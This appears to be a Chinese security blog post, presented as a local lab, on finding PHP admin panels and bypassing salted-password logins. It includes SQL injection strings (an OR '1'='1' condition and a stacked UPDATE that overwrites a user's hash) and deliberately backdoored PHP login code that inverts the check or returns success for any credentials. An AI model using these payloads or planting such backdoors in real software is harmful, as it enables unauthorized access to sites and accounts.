免责声明:本公众号 太乙Sec实验室 所提供的实验环境均是本地搭建,仅限于网络安全研究与学习。旨在为安全爱好者提供技术交流。任何个人或组织因传播、利用本公众号所提供的信息而进行的操作,所导致的直接或间接后果及损失,均由使用者本人负责。太乙Sec实验室及作者对此不承担任何责任
实验背景:
本文旨在从取证的角度出发,对获取 PHP 网站后台地址的方法以及多种绕过后台密码的方式进行详细阐述。
需要着重强调的是,本文所涉及的相关技术与方法仅供合法的安全研究、网络取证以及在遵循法律法规且获得合法授权的情况下使用。任何未经授权擅自利用这些技术对他人网站进行非法访问、破坏等行为均属于违法犯罪活动,使用者需自行承担相应的法律责任。
网站后台加盐原理
以下是使用 PHP 语言实现网站后台加盐加密及验证密码的示例代码,展示了加盐机制的基本原理及操作过程:
<?php// 生成盐值的函数function generateSalt($length = 16) {$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';$salt = '';for ($i = 0; $i < $length; $i++) {$salt.= $characters[rand(0, strlen($characters) - 1)];}return$salt;}// 加盐加密密码的函数function hashPasswordWithSalt($password, $salt) {returnhash('sha256', $salt. $password);}// 模拟用户注册,假设这里有用户输入的密码,实际中从表单获取$userPassword = "123456";// 生成盐值$salt = generateSalt();// 加盐加密密码$hashedPassword = hashPasswordWithSalt($userPassword, $salt);// 这里只是简单打印输出,实际中会将盐值和加密后的密码存储到数据库相应字段echo"生成的盐值: ". $salt. "<br>";echo"加盐加密后的密码: ". $hashedPassword. "<br>";?>
<?php// 验证密码的函数,接收用户输入的密码、存储的盐值和存储的加密密码function verifyPassword($inputPassword, $storedSalt, $storedHash) {$inputHashed = hash('sha256', $storedSalt. $inputPassword);return$inputHashed === $storedHash;}// 模拟用户登录,假设这里获取用户输入的密码,实际从表单获取$inputPassword = "123456";// 假设从数据库读取到的盐值(这里用之前生成的示例盐值,实际从数据库对应字段获取)$storedSalt = "示例盐值";// 假设从数据库读取到的加密后的密码(这里用之前生成的示例加密密码,实际从数据库对应字段获取)$storedHash = "示例加密密码";if (verifyPassword($inputPassword, $storedSalt, $storedHash)) {echo"密码验证成功,登录成功!";} else {echo"密码验证失败,登录失败!";}?>
bypass加盐后台
从安全研究和了解防范角度,如果网站存在诸如 SQL 注入漏洞、代码执行漏洞等,攻击者可能会通过构造恶意的 SQL 语句或代码执行语句来尝试绕过正常的加盐验证逻辑。
例如,存在 SQL 注入漏洞时,攻击者可能构造类似下面这样的语句(以下是示意,实际情况会更复杂,且不同数据库语法有差异):
-- 假设登录验证的 SQL 语句类似这样(原本正常是根据用户名和加盐验证密码来查询验证)SELECT * FROM users WHERE username = '$input_username' AND password = '$input_password_hashed'-- 攻击者构造的注入语句,试图让验证恒成立SELECT * FROM users WHERE username = '$input_username' OR '1'='1'-- 这样就可能绕过密码验证环节,直接获取到用户记录,仿佛验证通过了一样
利用 SQL 函数来篡改验证逻辑
'; UPDATE users SET password = '$known_hashed_value' WHERE username = 'target_user'; --//这条语句先通过'; 闭合前面的语句,然后执行UPDATE 操作,将目标用户(target_user)的密码哈希值(加盐后的)修改为攻击者已知的一个值($known_hashed_value),后面的-- 用于注释掉后面原本可能有的其他语句,防止语法错误。之后攻击者再使用对应这个已知哈希值的密码去登录,就可以绕过正常的加盐验证了。
创世神大法
针对网站源码特征进行修改认证逻辑。
虽然盐值随机,但是我们可以通过修改代码逻辑进入其它用户,将选中的==(==)改为!=(不等于),就可以用随便非正确的密码登录任意用户账号!!!
首先需要对目标网站的源码进行分析,确定其认证逻辑所在的代码位置和具体实现方式。通常涉及到用户登录验证的 PHP 文件(比如在 PHP 网站中,像 login.php 或者相关的包含验证函数的文件
<?phpfunction verifyUser($username, $password) {// 从数据库获取用户记录,假设使用了某个数据库操作类$user = UserModel::getUserByUsername($username);if ($user) {$storedSalt = $user['salt'];$storedHash = $user['password_hash'];$hashedInputPassword = hashPasswordWithSalt($password, $storedSalt);if ($hashedInputPassword === $storedHash) {returntrue;}}returnfalse;}if ($_SERVER['REQUEST_METHOD'] === 'POST') {$username = $_POST['username'];$password = $_POST['password'];if (verifyUser($username, $password)) {// 登录成功后的操作,比如设置会话等session_start();$_SESSION['user_id'] = $user['id'];header('Location: dashboard.php');} else {// 登录失败提示echo"登录失败,请检查用户名和密码";}}?>
篡改验证条件
一旦找到了验证逻辑代码,可能尝试修改验证条件来绕过正常的认证流程。将 ==(等于)改为!=(不等于)
< ?php// 同样假设连接数据库的代码(此处省略具体配置及错误处理等细节)$conn = mysqli_connect("localhost", "username", "password", "database_name");// 获取用户输入的用户名和密码$input_username = $_POST['username'];$input_password = $_POST['password'];// 从数据库中查询该用户名对应的记录,获取密码密文和盐值$query = "SELECT password_hash, salt FROM users WHERE username = '$input_username'";$result = mysqli_query($conn, $query);$row = mysqli_fetch_assoc($result);if ($row) {$stored_password_hash = $row['password_hash'];$salt = $row['password'];// 使用密码加密函数(这里假设是自定义函数 hashPassword,实际中可以是更复杂的加密算法)将用户输入密码结合盐值进行加密$input_password_hash = hashPassword($input_password, $salt);// 恶意修改后的验证逻辑,将 ==(等于)改为!=(不等于)if ($input_password_hash!= $stored_password_hash) {echo"登录成功";} else {echo"登录失败,密码错误";}} else {echo"用户名不存在";}// 关闭数据库连接(省略错误处理等)mysqli_close($conn);?>
本地实验
实验要求
理解代码中的登录逻辑,进而对其进行修改。
定位前台和后台
查看 SQL 相关语句,以寻找与源码相关的语句内容。
查看加盐方式
修改源码登录逻辑
通过php修改登录逻辑,前台、后台任意用户可以登录
case'login':// 直接设置登录成功,不进行账号密码验证$result['status'] = 1;$result['msg'] = '登录成功';$result['url'] = url('index/index');break;}
经过长时间的查找,最终找到了管理员登录页面。主要依靠使用 IDA 编辑器对整个源码内容进行关键词 “salt” 的搜索。
public function login($username, $password, $keeptime = 0){// 直接设置登录成功状态,跳过原有验证$admin = new Admin();$admin->id = 1; // 假设一个默认的管理员 ID$admin->username = 'anyuser';$admin->token = Random::uuid();Session::set("admin", $admin->toArray());$this->keeplogin($keeptime);returntrue;}
修改后台逻辑,随便用户名、密码输入即可登录。
查看用户名与源码一致
最后,由于机器人账户出现了意外状况,导致无法正常使用,所以目前相关消息的回复只能通过公众号。
往期精彩回顾
关注我,了解更多知识,别忘了点赞+在看哦!
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……




还没有评论,来说两句吧...